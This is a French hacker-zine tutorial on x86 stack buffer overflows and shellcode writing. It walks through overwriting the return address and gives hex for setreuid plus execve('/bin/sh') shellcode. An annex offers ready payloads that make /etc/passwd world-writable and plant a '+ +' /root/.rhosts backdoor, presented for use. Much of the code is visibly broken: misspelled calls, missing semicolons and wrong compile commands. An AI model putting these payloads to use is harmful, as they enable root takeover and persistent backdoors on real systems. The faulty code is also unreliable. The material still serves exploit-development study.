--------------------------------------------------------------------------------------- XIII. Buffer Overflow & Shellcodes x86 Howto Li0n7 --------------------------------------------------------------------------------------- [ Sommaire ] Dépassement de tampon |-> Processus et fonctions |-> La pile structure et comportement Shellcode |-> Les registres |-> Les instructions |-> Programmation de shellcodes |-> hello.S |-> bin.S |-> cshell.c |-> the_last_one.c ANNEXE : Shellcodes par Neofox [ Introduction ] Chaque semaine, des failles de sécurités sont découvertes dans certains programmes, qu'ils soient répandues ou non. Elles résultent toujours d'une erreur de programmation anodine dont les conséquences sont souvent désastreuses et irréversibles pour les serveurs proposant des services quelconques cachés dérrière les dit-programmes. Ces failles se limitent dans la majorité des cas à des buffer overflows de tout type, mais qu'en est-il vraiment? Analyse d'une attaque dynamique locale ou distante sophistiquée et portable, toute architecture, plus qu'à a mode. ++++ | Partie 1 : Dépassement de tampon | ++++ => Processus et fonctions => La pile : strucutre et comportement I. Processus et fonctions : ___________________________ Pour comprendre les dépassements de tampon, il faut connaitre le fonction d'un ordinateur au niveau de la gestion des processus et de l'allocation dynamique de la mémoire.Toute machine fait appel à des processus, qui gérent les entrées/sorties (i/o), lesquels font périodiquement appels à des fonctions. Lors de l'appel d'un processus, l'OS va lui allouer de la mémoire, initialisée par le code de la première fonction à être éxécutée. Familières aux programmeurs, elle est appelée point d'entrée, parce qu'elle début tout processus, ou plus généralement main. ex: En C: void main(void) {} En ASM: .gobl main main: Il est important de savoir que les fonction s'enchainent en appelant sans-cesse d'autres sous fonctions. Une fonction doit donc pouvoir stocker ses propres données, et c'est alors qu'intervient la pile (stack), qui n'est autre qu'un portion de mémoire allouée par le CPU. Les fonctions communiquent avec la pile perpétuellement, par le biais de plusieurs instructions: o push $valeur - Place en haut de la pile une valeur quelconque passée en paramètre. o pop $REGISTRE - Séléctionne le dernier élément stocké au sommet de la pile pour le placer dans un registre passé en paramètre. I Imaginez donc la suite lorsque la pile se trouve remplie par une variable dont la taille est supérieure à sa mémoire totale de stockage... Beau plantage en perspective... +---------------+ | | | | | [CPU] | | | | | +---------------+ | | | * PROCESSUS | | --*-- Fonction 1 (point d'entrée) | | | | Sous fonction --*| |*-- Sous fonction 1 Nous savons donc que le processeur initialise une mémoire système à la pile avant l'appel d'une fonction ; une fois une sous-fonction achevée, la fonction l'ayant appelé prend sa place et continue son éxécution. Le processeur doit donc gérer la mémoire, éxécuter certaines taches tout en gardant la trace de l'ensemble des instructions éxécutées. Il va donc faire appel à une zone de stockage temporaire: les registres. Il existe une bonne douzaine de registres spécialisés dans la sauvegarde de certains types de données à des moments critiques. Un de ces registres nous intérèsse plus particulièrement il s'agit, du registre #eip, ou plus communément appelé le pointeur d'instruction. Ce dernier pointe sur l'instruction en cours d'éxécution. Si la fonction appelle une autre fonction sous jacente, alors le pointeur est réinitialisé et pointe sur la dernière fonction en cours d'éxécution. Celle-ci achevée, le pointeur d'instruction, doit être capable de se réinitialiser et de repointer sur la fonction antérieure. Toutes ces valeurs, le ptr d'instruction compris, sont stockés dans la stack. L'attaquant essaiera donc de faire déborder le tampon pour modifier l'adresse de l'instruction de retour. [ Temps 1 ] - EIP pointe sur F1 EIP EIP ------------> fonction 1 <----- <------------ |Temps 3] - EIP repointe sur F1 [ Temps 2 ] - EIP pointe sur SF1 | | | | EIP | | ------------> |----> appel sous-fonction 1 II. La pile, structure et comportement : ________________________________________ Entrons dans le vif du sujet : La pile est un bloc hébergeant temporairement des données en temps réèl, elle est donc constamment manipulée et modifiée. ------8<--------------------------------------------------------------------- void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } ------8<--------------------------------------------------------------------- Dans cet exemple ( tiré du célèbre paper d'Aleph One), lors de la fonction main(), la variable char large_string de 256 octetsva être remplie de A, puis main appelle function qui copie large_string dans une variable type char de 16 octets appelé buffer. Le résultat ? Une erreur de segmentation surviendra, le core sera dumpé, le programme crashera. +----------+ | Tampon | | recouvre | Attaquant remplit ---> | adresse | <--- shellcode inséré tampon | de | | retour | STOP Adresse de retour ---> +----=-----+ --> +----------+ écrasée +----=-----+ | | | = | | NULL | | = | --> +----------+ | = | | STACK | | | | | +----------+ | Adresse | | sauvée | +----------+ Mais attention si le pointeur d'instruction rencontre un caractère NULL, alors la chaine de caractère s'arrêtera sur le champ ; le payload ne sera alors pas éxécuté. La majorité des buffer overflows se situent au niveau de fonctions comme strcpy, lstrcy (toutes ses variantes), sprintf, strcat, lstrcat, etc ... qui ne vérifient pas si la variable peut contenir ou nom la chaine de caractère passée en second paramètre. Une fois la pile écrasée, l'adresse de retour est alors modifiée pour pointer sur le shellcode que le pirate aura alors placé dans la pile. Il va donc prendre le contrôle du processeur en codant un payload tout en shellcode, au préalable codé en assembleur, puis en l'éxécutant sur le système attaqué. Le payload se logeant avec les autres données dans la pile, il faut que le pointeur d'instruction pointe sur le début du code : une erreur d'estimation serait fatale pour l'assaillant. ++++ | Partie II : Les Shellcodes | ++++ Dans le cadre d'un buffer overflow, nous allons essayer de passer des instructions à notre processeur victime, dans le but d'exploiter cette faille à des fins personnelles. Les possibilités sont multiples : virus, backdoors, spwaning de shell ... Laissez libre cours à votre imagination. I. Les registres : __________________ Il existe un grand nombre de registres, dont voici une liste: EAX: accumulateur EBX: adresse de base ECX: compteur EDX: données EDI: index destination ESI: index source EIP: pointeur d'instruction ESP: pointeur de pile EBP: pointeur de base de la pile EFL: indicateur II. Les instructions : ______________________ De nombreuses instructions vont être nécéssaires pour mettre en oeuvre le payload en shellcode. En voici quelques-unes : mov: Déplace une quelconque valeur dans un registre leal: Charge une adresse mémoire dans un registre push: Place en haut de la pile une valeur quelconque passée en paramètre. pop: Séléctionne le dernier élément stocké au sommet de la pile pour le placer dans un registre passé en paramètre. ret: Jump jusqu'à l'adresse mémoire en haut du stack call: Appel une fonction jmp: Saute jusqu'à une fonction cmp: Equivalent du if, permet de comparer deux valeurs jz: Equivalent du alors jmp xor: Ou exclusif, opération sur les bits. dev: Décrémente (i--;) inc: Incrémente (i++;) III. Programmation de shellcodes : __________________________________ Donc, nous allons commencer par un petit hello world, je trouve ça vraiment banal, mais bon, il faut vien commencer par quelque chose de facile ... En C, rien de plus simple: ----8<-------------------------- #include #include int main(void){ char mes[256]="H3110 w0r1:)!\n"; write(1, mes, sizeof(mes)); /* utilisation de write pour écrire dans le fd */ return 0; } ----8<---------------------------- La fonction write se présente donc ainsi: write(int fd, char *mes, size_t size) Avec, fd: le file descriptor, mes: le message, et size: la taille de notre message. ----8<---------hello.S------------------------------------------------------- .data mes: .string "H3110 w0r1:)!\n" //Le message meslen: .equ len, meslen - mes // La taille du message .global main main: // La fonction main movl $0x4, %eax // numéro d'appel système 4 movl $0x1, %ebx // File descriptor = 1 = stdout movl $mes, %ecx // le message dans %ecx movl $meslen, %edx // La taille du mes dans %edx int $0x80 // Interruption dans le kernel et on appel la fonction write xorl %eax, %eax // %eax=0 andl %ebx, %eax // %ebx=0 incl %eax // %eax=1 int $0x80 // On appel la fonction quitter ----8<----------------------------------------------------------------------- On compile le tout et on éxécute: $ g++ hello hello.S $ ./hello H3110 w0r1:)! $ Notre but principal sera donc, de spawner un shell pour acquérir le root ; notez que ce shellcode ne pourra être utilisé que dans le cadre d'un exploit local. Les remote exploits seront étudiés prochainement. Donc nous allons éxécuter un shell, pourquoi pas /bin/sh? On va se setreuid(0,0) au cas où ; de toute façon ce ne peut que être bénéfique du point de vue apprentissage de ce langage d'assemblage. Il est vrai que l'assembleur peut paraître difficile à l'oeil non-averti, mais il se limite à la manipulation de registres primitifs. Continuons, notre programme en C: ----8<-------------------------- #include int main(void){ char *shell[2] streuid(0,0); shell[0]= "/bin/sh"; shell[1]= NULL; execve(shell[0], shell, NULL); return 0; } ----8<--------------------------- Lors de la fonction main, on commence par se donner un accès root, bien qu'inutile ici vu que nous travaillons dans le cadre d'un dépassement de tampon ; les droits sont alors abstrait, mais cela est toujours utile de savoir "se rooter" en shellcode. On a définie un ptr sur le char shell, contenant la chaine /bin/sh, suivit d'un caractère NULL pour le terminer. Puis, on éxécute le tout. Notez que compiler et éxécuter au format asm tel quel, ne fonctionnera et spawnera le shell que si vous êtes déjà root. Ce code fonctionne dans sa totalité sous forme de shellcode exploité dans un BO. ----8<----------bin.S--------------------------------------------------------- [.texte] #|- [.globl shellcode] #|Pour le fichier cshell.c plus bas, omettre sinon [shellcode:] #|- jmp 0x1c # On jump to call popl %ebx # On met l'adresse de bin/sh dans %ebx movl %ebx,0x8(%ebx) # on stocke %ebx à %ebx+0x8 xorl %eax,%eax # %eax=0 movb %eax,0x7(%ebx) # NULL à la fin du string movl %eax,0xc(%ebx) movb $0xb,%al # On appel execve leal 0x8(%ebx),%ecx # On charge %ecx avec adresse %ebx+0x8 leal 0xc(%ebx),%edx # On charge %edx avec adresse %edx+0xc int $0x80 # On éxécute xorl %eax,%eax inc %al int $0x80 # On quitte call -0xce # On met l'adresse au sommet de la pile .string "bin/sh" -----8<----------------------------------------------------------------------- On compile et on éxécute: $ g++ bin bin.S $ ./bin sh-x.xx$ A présent, l'heure est à la programmation en shellcode. Non on ne va pas encore coder un shellcode en brut (ne vous inquiètez pas, je vous concocte ça pour bientôt), mais on va plutôt tenter de se procurer le fameux shellcode à partir de notre code en assembleur. Pour cela, écrivons un petit prog tout simple en C. Ce dernier va se contenter d'ouvrir le fichier .S dans lequel setrouve notre code, ASM puis, à partir des instructions ASM, il nous donne le shellcode correspondant. Notez qu'il y a deux arguments, -t pour voir la taille du shellcode, et -s pour sauvegarder le shellcode dans un fichier. -----8<--------cshell.c------------------------------------------------------ #include void shellcode(); int cree_shellcode(int sf, FILE *ff, char *shellcode) { int i=0; int j=0; printf("shellcode=\n"); printf("\""); while(shellcode[i]){ if (sf==1){ if ((fopen(ff, "w+"))<0){ printf("Erreur lors de la création/ouverture du fichier\n"); exit(1); } } if((j%10==0) && (j!=0)){ printf("\"\n\""); } printf("\\x%.2x",(shellcode[i]&0xff)); if (sf==1){ fprintf(ff,"\\x%.2x",(shellcode[i]&0xff) ); } i++; j++; } if (sf==1){ fclose(ff); } printf("\" ;\n"); return 0; } int main(int argc, char *argv[]) { int t=0,s1; File *ff; while( (argc > 1) && (argv[1][0]=='-')) { switch(argv[1][1]) { case 's': s=1; ff=&argv[1][2]; break; case 't': t=1; break; } --argc; ++argv; } cree_shellcode(s, ff, (char *)shellcode); if (t==1){ printf("-> taille_shellcode: %d <-\n",strlen((char *)shellcode));} return 0; } -----8<---------------------------------------------------------------------- On compile le tout, après avoir stocké notre asm code dans un fichier .S: $ gcc cshell cshell.s fichier.S // le fichier.S contient le code asm dans sa totalité On éxécute alors notre cshell pour avoir notre shellcode à partir du code asm, c'est parti! Remarques: o l'argument -s permet de sauvegarder le shellcode dans un fichier o l'argument -t permet de calculer la taille en octets de notre shellcode $ ./cshell -t shellcode=" \xeb\x1c\x5b\x89\x5b\x08\x31\xc0\x88\x43 \x07\x89\x43\x0c\xb0\x0b\x8d\x4d\x08\x8d \x53\x0c\xcd\x80\x32\xc0\xe8\xce\xff\xff \xff/bin/sh" -> taille_shellcode: xx octets <- Je n'ai pas calculé la taille, car le shellcode a été fait main, pour la connaitre éxécutez cshell. Il ne nous reste plus qu'à exploiter ce shellcoder au travers d'un dépassement de tampon pour spawner ce fameux /bin/sh en root. ----8<----------the_last_one.c------------------------------------------------ void function(char *str) { char shellcode[46]= "\xeb\x1c\x5b\x89\x5b\x08\x31\xc0\x88\x43" "\x07\x89\x43\x0c\xb0\x0b\x8d\x4d\x08\x8d" "\x53\x0c\xcd\x80\x32\xc0\xe8\xce\xff\xff" "\xff/bin/sh" strcpy(str,shellcode); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } ----8<----------------------------------------------------------------------- Et voila, ce petit code mettant en relief une faille type dépassement de tampon au niveau de la fonction strcpy, va copier à la suite d'une chaine string (remplie de "A"), notre shellcode qui va être passé au processeur, pour enfin lancer le shell en root. Gotcha! Nous avons donc vu les bases de la maitrise du buffer overflow, actuellement une notion plus que fondamental. Les shellcodes étudiés sont tous simples, encore, je vous conseille vivement d'aller lire le texte de smiler sur l'art d'écrire des shellcodes (disponible sur ouah) ; il aborde rapidement quelques types optimisés, comme les types anti-IDS ( qui passent à travers les systèmes de filtrage en remote) ou encore les remote shellcodes bindant un port. La prochaine fois, j'essaierai de vous présenter d'autres types de shellcodes plus avancés (polymorphic style for e.g). Bon, pas de conclusion banale du style "j'espère vous avoir appris quelque chose", mais plutôt un souhait pour une bonne continuation, et arrêtez par pitié de passer le plus clair de votre temps à vitupérer une éthiques puérils quelque qu'elle soit ... Ce n'est là que perte de temps inutile. ANNEXE : Shellcodes par Neofox ______________________________ J'ai decouvert, il y a peu, le monde merveilleux de la prog Assembleur, et dans la foulée, celui de l'écriture de shellcodes. Peut-être servieront-ils à quelqu'un, ou peut-être que non, ça n'a pas grande importance. Ca ne va pas non plus révolutionner la scène, mais je vous les donne quand même à tout hasard, avec le code asm correspondant. Pour désassembler, je me suis servi de 'objdump' => "% objdump -d file", ça change de gdb. /* chmod shellcode 53bytes long * * Shellcode fort symathique qui fait appel à * setreuid() puis mets /etc/passwd au mode 666. * */ char shellcode2[]= "\x31\xdb" /* xor %ebx,%ebx */ "\x31\xc9" /* xor %ecx,%ecx */ "\xb0\x46" /* mov $0x46,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax,%eax */ "\x66\xb9\xb6\x01" /* mov $0x1b6,%cx */ "\x51" /* push %ecx */ "\x89\xe5" /* mov %esp,%ebp */ "\x50" /* push %eax */ "\x68\x73\x73\x77\x64" /* push $0x64777373 */ "\x68\x2f\x2f\x70\x61" /* push $0x61702f2f */ "\x68\x2f\x65\x74\x63" /* push $0x6374652f */ "\x89\xe3" /* mov %esp,%ebx */ "\x50" /* push %eax */ "\x31\xd2" /* xor %edx,%edx */ "\x55" /* push %ebp */ "\x53" /* push %ebx */ "\xb0\x0f" /* mov $0xf,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax,%eax */ "\x89\xc3" /* mov %eax,%ebx */ "\x89\xc1" /* mov %eax,%ecx */ "\x40" /* inc %eax */ "\xcd\x80"; /* int $0x80 */ /* rhosts shellcode 72bytes long * * Ce shellcode va créer un fichier /root/.rhosts * avec "+ +" à l'intérieur. A partir de là, vous * savez quoi faire =) * */ char shellcode3[]= "\x31\xc0" /* xor %eax,%eax */ "\x31\xdb" /* xor %ebx,%ebx */ "\x31\xc9" /* xor %ecx,%ecx */ "\xb0\x46" /* mov $0x46,%al */ "\xcd\x80" /* int $0x80 */ "\x50" /* push %eax */ "\x29\xd2" /* sub %edx,%edx */ "\xb1\x42" /* mov $0x42,%cl */ "\x66\xba\xb6\x01" /* mov $0x1b6,%dx */ "\x50" /* push %eax */ "\x68\x6f\x73\x74\x73" /* push $0x7374736f */ "\x68\x2f\x2e\x72\x68" /* push $0x68722e2f */ "\x68\x6f\x74\x2f\x2f" /* push $0x2f2f746f */ "\x68\x2f\x2f\x72\x6f" /* push $0x6f722f2f */ "\x89\xe3" /* mov %esp,%ebx */ "\x50" /* push %eax */ "\xb0\x05" /* mov $0x5,%al */ "\xcd\x80" /* int $0x80 */ "\x29\xdb" /* sub %ebx,%ebx */ "\x29\xd2" /* sub %edx,%edx */ "\xb3\x03" /* mov $0x3,%bl */ "\x66\x68\x2b\x2b" /* pushw $0x2b2b */ "\x89\xe1" /* mov %esp,%ecx */ "\xb2\x02" /* mov $0x2,%dl */ "\xb0\x04" /* mov $0x4,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax,%eax */ "\x31\xdb" /* xor %ebx,%ebx */ "\x40" /* inc %eax */ "\xcd\x80"; /* int $0x80 */ [ Remarques ] Dans chaque code, vous avez surmement remarqué une série de 'push'. En effet, dans le premier shellcode par exemple, il nous faut dans %ebx un pointeur sur l'adresse de '/bin/sh'. Au lieu de jouer avec 'jmp' et 'call' pour l'obtenir, j'ai pushé directement sur la stack le code hexadécimal correspondant à '/bin/sh' ( h=68, s=73 ...). Si vous comptez vous aussi vous amuser à ce petit jeu, pour obtenir la conversion en hexa, faites vous un petit code tout simple dans le style de celui-ci : /* * Conversion hexadécimale * */ #include #include int i; char alpha[28]={ 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','/','.' }; char nbr[10]={ '0', '1', '2', '3', '4', '5', '6', '7', '8', '9' }; int main(){ for(i=0;i<28;i++){ printf("%c = %x\t",alpha[i], alpha[i]); } i=0; printf("\n\n\n"); for(i=0;i<10;i++){ printf("%c = %x\t",nbr[i], nbr[i]); } printf("\n\n"); return 0; }